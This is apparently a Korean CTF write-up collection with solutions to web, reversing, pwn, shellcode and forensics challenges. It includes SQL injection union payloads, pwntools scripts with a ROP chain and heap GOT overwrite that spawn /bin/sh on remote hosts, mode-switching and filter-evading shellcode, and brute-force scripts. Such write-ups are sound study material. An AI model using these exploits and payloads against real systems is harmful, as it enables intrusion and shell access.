js/func.js에 있는 자바스크립트 코드를 js unpacker로 언팩해서 코드를 보면 flag_back에 11을 xor한게 플래그라는 것을 알 수 있다.
print ''.join(chr(i ^ 11) for i in [126,112,65,120,84,66,120,84,120,58,102,123,103,56,42,42,42,118])
Js_Is_s1mpl3!!!
걍 삽질 좀 하다가 디렉토리 명이 c3d96672b6663af291893cddc3a9daa5인데 최상위로 가보니까 디렉토리 리스팅이 됐다. 거기에 플래그가 있다는 것을 깨닫고 ../flag.php 하고 소스보니까 플래그가 있었다.
i_i_iii_iiii_ii_iii_i_oii_ioiooi
회원가입 하고 로그인해서 보드를 보면 게시글을 읽을 수 있는데 no 파라미터에서 sqli가 터진다.
no=-1%27%20union%20select%201,2,3,4%23 해보니까 union sqli 돼서 바로 플래그 긁어왔다.
information_schema에서 테이블 컬럼 긁어와서 no=-1%27%20union%20select%201,realf1ag,3,4%20from%20f1ag%23 해서 플래그 읽으면 된다.
PHP_BYPASS_injection_success!!!
sqli는 안되고 mysql은 a랑 그리스 문자 à를 똑같이 인식해서 foo=yelàng123 이렇게 파라미터를 넣어주면 된다.
Mysql_trick_LOL_LOL!!!
objdump로 긁어와서 파싱해서 플래그를 찾았다.
import os
os.system("objdump -M intel -d ./angry > out")
with open("out", "rb") as f:
data = f.read()
data = data.split("\n")
flag = ""
for d in data:
if d.find("cmp") != -1:
if d.find("BYTE") != -1:
flag += chr(int(d.split("0x4],")[1], 16))
elif d.find("eax") != -1 and prev.find("mul") != -1:
a = int(d.split("eax,")[1], 16)
p = int(prev.split("eax,eax,")[1], 16)
kk = a/p
# print kk
flag += chr(kk)
else:
print d
flag += "*"
prev = d
print flag
위 코드를 돌리면 "u*untu{w*y_you_looo*ok_soo*oo_AAANNN**GRRR*YYYY???_SsssSSsssTttttTtTTTaAa**aa*AAaaAaayyyY*YYyyYYy_CcccCaaAaallllllmmmm_down}" 이게 나오고 *에 게싱이랑 헥스레이 보고 대충 들어갈만한거 넣으면 된다.
why_you_loooook_sooooo_AAANNNGGGRRRRYYYY???_SsssSSsssTttttTtTTTaAaaAaaAAAaaAaayyyYYYYyyYYy_CcccCaaAaallllllmmmm_down
디버깅 하다 보면 중간에 PEB - IsDebugged 플래그 체크하는거 우회해주면 bmp파일 하나 복호화 하는데 거기에 키가 적혀있다.
debugger_is_so_powerful
고언어로 만들어졌다.
디버깅 하면서 전체적인 프로세스를 보면 앞부분에서 글자마다 비트로 바꿔서 막 xor조금씩 하는데 한 글자당 하나의 16바이트 배열로 바뀌므로 앞부분은 테이블을 만들어서 치환하여 값을 복호화 할 수 있다.
뒷부분은 타임스탬프 넣고 랜덤 16바이트 가져와서 위 연산 결과를 aes ecb로 암호화해서 ALPHA 파일에 저장한다.
package main
import (
"fmt"
"math/rand"
"os"
"strconv"
)
func main() {
i, _ := strconv.Atoi(os.Args[1])
fmt.Println(i);
rand.Seed(int64(i)) // Try changing this number!
fmt.Println(rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100))
}
이렇게 코드 짜서 args[1]에 있는거를 씨드로 해서 랜덤값 가져오게 해서 파이썬으로 코드 짜가지고 타임스탬프 브포했다.
윈도우로 보면 수정 시간 있는데 이거로 타임스탬프를 유추할 수 있다.
그렇게 해서 최종적으로 아래와 같이 코딩하면 플래그가 나온다.
from Crypto.Cipher import AES
from pwn import *
stamp = 1493789188
enc = open("ALPHA", "rb").read()
while True:
fail = 0
r = process(["./main", str(stamp)])
r.recvline()
key = ''.join(chr(int(i)) for i in r.recvline().rstrip().split(' '))
cipher = AES.new(key, AES.MODE_ECB)
dec = cipher.decrypt(enc)
r.close()
for i in dec:
if i != "\x00" and i != "\x01":
fail = 1
break
if fail == 0:
break
fail = 0
stamp += 1
table = ['00000100010000000000000101000101', '00000100010000000000000100010000', '00000100010000000000010000010101', '00000100010000000000010001000000', '00000100010000000101010001000101', '00000100010000000101010000010000', '00000100010000000101000100010101', '00000100010000000101000101000000', '00000100010001010101000101000101', '00000100010001010101000100010000', '01010001000101010000000100010000', '01010001000101010000010000010101', '01010001000101010000010001000000', '01010001000101010101010001000101', '01010001000101010101010000010000', '01010001000101010101000100010101', '01010001000101010101000101000000', '01010001000100000101000101000101', '01010001000100000101000100010000', '01010001000100000101010000010101', '01010001000100000101010001000000', '01010001000100000000010001000101', '01010001000100000000010000010000', '01010001000100000000000100010101', '01010001000100000000000101000000', '01010001010000000000000101000101', '01010001010000000000000100010000', '01010001010000000000010000010101', '01010001010000000000010001000000', '01010001010000000101010001000101', '01010001010000000101010000010000', '01010001010000000101000100010101', '01010001010000000101000101000000', '01010001010001010101000101000101', '01010001010001010101000100010000', '01010001010001010101010000010101', '01010100010001010000000100010000', '01010100010001010000010000010101', '01010100010001010000010001000000', '01010100010001010101010001000101', '01010100010001010101010000010000', '01010100010001010101000100010101', '01010100010001010101000101000000', '01010100010000000101000101000101', '01010100010000000101000100010000', '01010100010000000101010000010101', '01010100010000000101010001000000', '01010100010000000000010001000101', '01010100010000000000010000010000', '01010100010000000000000100010101', '01010100010000000000000101000000', '01010100000100000000000101000101', '01010100000100000000000100010000', '01010100000100000000010000010101', '01010100000100000000010001000000', '01010100000100000101010001000101', '01010100000100000101010000010000', '01010100000100000101000100010101', '01010100000100000101000101000000', '01010100000101010101000101000101', '01010100000101010101000100010000', '01010100000101010101010000010101', '00000100000101010000000100010000', '00000100000101010000010000010101', '00000100000101010000010001000000', '00000100000101010101010001000101', '00000100000101010101010000010000', '00000100000101010101000100010101', '00000100000101010101000101000000', '00000100000100000101000101000101', '00000100000100000101000100010000', '00000100000100000101010000010101', '00000100000100000101010001000000', '00000100000100000000010001000101', '00000100000100000000010000010000', '00000100000100000000000100010101', '00000100000100000000000101000000', '00000100010001010101010000010101', '00000100010001010101010001000000', '00000100010001010000010001000101', '00000100010001010000010000010000', '00000100010001010000000100010101', '00000100010001010000000101000000', '01010100010001010000000101000101', '01010100000101010101010001000000', '01010100000101010000010001000101', '01010100000101010000010000010000', '01010100000101010000000100010101', '01010100000101010000000101000000', '01010001000101010000000101000101', '01010001010001010101010001000000', '01010001010001010000010001000101', '01010001010001010000010000010000', '01010001010001010000000100010101', '00000001010000000101010000010101']
chr_table = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ "
enc = dec.encode('hex')
dec = ""
for i in range(0, len(enc), 32):
for j in range(len(table)):
if enc[i:i + 32] == table[j]:
dec += chr_table[j]
break
print dec
I_am_already_going,_do_not_hurry.
read로 bss에 /bin/sh랑 페이크 스택 만들어두고 ebp를 bss로 바꾼 후 레지스터 /bin/sh execve에 맞게 설정하고 다시 syscall 호출하는 부분으로 뛰었다.
from pwn import *
r = remote("52.78.202.173", 20001)
# r = process("./small")
payload = 'A' * 12
payload += p32(0x080483FB) # read
payload += p32(0x08048413) # pppr
payload += p32(0)
payload += p32(0x0804A028) # bss
payload += p32(21)
payload += p32(0x080483FB) # read
payload += p32(0x08048413) # pppr
payload += p32(0)
payload += p32(0x0804A018) # bss
payload += p32(20)
payload += p32(0x08048415) # pop ebp
payload += p32(0x0804A028)
payload += p32(0x8048406) # read
payload += p32(1)
payload += p32(0x0804A018) # bss
payload += p32(0x0804A038) # bss
payload += p32(0)
r.sendline(payload)
sleep(0.5)
r.sendline("AAAAAAAA" + p32(0x0804A018) + p32(0x0804A068) + p32(0))
sleep(0.5)
r.sendline("///bin/sh\x00")
r.interactive()
fs, i wanna more tinier chall :)
alloc을 할 때 힙 공간에서 뒤에 공간이 사용되고 있는지를 확인하지 않는다.
그래서 다음 청크를 덮을 수 있고 사이즈 부분을 조작해서 다음 alloc을 할 때 사이즈 값을 힙 배열에 쓰게 했다.
그렇게 atoi got를 써서 립씨 릭하고 다시 system으로 덮어서 쉘을 딸 수 있다.
from pwn import *
r = remote("52.78.202.173", 31333)
r.sendlineafter(">>> ", "1")
r.sendlineafter(": ", "8")
r.sendlineafter(">>> ", "1")
r.sendlineafter(": ", "8")
r.sendlineafter(">>> ", "2")
r.sendlineafter(": ", "0")
r.sendlineafter(">>> ", "1")
r.sendlineafter(": ", "128")
r.sendlineafter(">>> ", "3")
r.sendlineafter(": ", "0")
r.sendlineafter(": ", "A" * 128)
r.sendlineafter(">>> ", "3")
r.sendlineafter(": ", "1")
payload = 'A' * 0x70
payload += p32(0xfffffd80)
payload += p32(1)
r.sendlineafter(": ", payload)
r.sendlineafter(">>> ", "1")
r.sendlineafter(": ", "134525052")
r.sendlineafter(">>> ", "3")
r.sendlineafter(": ", "2")
r.sendlineafter(": ", p32(0x0804B030))
r.sendlineafter(">>> ", "4")
r.sendlineafter(": ", "1")
libc_base = u32(r.recv(4)) - 0x0002D050
system = libc_base + 0x0003A940
r.sendlineafter(">>> ", "3")
r.sendlineafter(": ", "1")
r.sendlineafter(": ", p32(system))
r.sendlineafter(">>> ", "/bin/sh;")
r.interactive()
I was wrong… I need to fix my code :(
몇가지 필터링에 걸리지 않으면 쉘코드를 실행시켜준다.
x86 int 0x80이 막혀있으므로 x64로 전환해서 syscall을 호출하면 된다.
from pwn import *
r = remote("52.78.202.173", 12341)
sleep(10)
sc = """
jmp cspush
goto64:
pop edi
sub esp, 4
inc edi
inc edi
retf
cspush:
mov al, 0x3b
push 0x33
call goto64
x64code:
.code64
push rbx
mov rbx, 0x68732f6e69622f2f
push rbx
xor ecx, ecx
push rsp
pop rdi
syscall
"""
sc = asm(sc)
r.sendlineafter("shellcode: ", sc)
r.interactive()
I dont care about architecture!
x64 레지스터 R 프리픽스 확장할 때 쓰이는 0x48을 필터링하고 개행, 널문자를 필터링한다.
그냥 0x48 쓰이는 것들을 적당히 push pop 같은거로 우회해서 하면 된다.
from pwn import *
context.arch = "amd64"
r = remote("52.78.24.240", 9623)
sc = """
push r14
pop rax
push r14
pop rdi
push rsp
pop rsi
push r14
pop rdx
xor dl, 0x50
syscall
push r14
pop rax
xor al, 2
push rsp
pop rdi
push r14
pop rsi
push r14
pop rdx
syscall
push r14
pop rax
push r14
pop rdi
xor di, 3
push rsp
pop rsi
push rdi
pop rdx
add dl, 0x50
syscall
push r14
pop rax
xor al, 1
push r14
pop rdi
xor di, 1
push rsp
pop rsi
push rdi
pop rdx
add dl, 0x50
syscall
"""
sc = asm(sc)
r.sendlineafter("Typer\n", sc)
r.sendline("/home/hackers_typer/flag\x00")
r.interactive()
I_think_that_you_are_good_at_shellcoding
dlrpqkfhvmfform
azpr로 브포 범위 설정해놓고 하나하나 zip파일 까다보니까 플래그가 나왔다.
3ncrypt3d_zip_fil3_i5_fun_t0_s0lv3
파일 헥스로 보면 PNG 푸터가 거꾸로 있다. 파일을 거꾸로 돌려서 PNG헤더를 넣어주면 플래그가 나온다.
y0u_c4n_d0_1mage_r3cov3ry!!!
strncmp는 중간에 null이 있으면 거기까지만 비교를 하기 때문에 urandom의 맨 앞에 null이 나올 때까지 브포 때렸다.
from pwn import *
while True:
try:
r = remote("52.78.202.173", 10001)
r.sendlineafter("me?", "\x00"*20)
data = r.recvall()
if "ubuntu{" in data:
print data
break
except:
pass
yeah, we hate guessing
flag.txt를 열어보면 뭔가 rgb 데이터가 들어있는거 생겼다.
전체 튜플 데이터의 개수가 121783인데 소인수분해 하면 193 * 631이므로 193 * 631크기의 사진 파일이라 가정하고 픽셀로 찍어봤더니 플래그가 나왔다.
from PIL import Image
l = [eval(i) for i in open("flag.txt", "rt").read().split('\r\n')]
cnt = 0
im = Image.new("RGB", (193, 631))
for i in range(193):
for j in range(631):
im.putpixel((i, j), l[cnt])
cnt += 1
im.save("flag.png")
d0t5_94th3r3d_4nd_50m3thin9_c4m3_0ut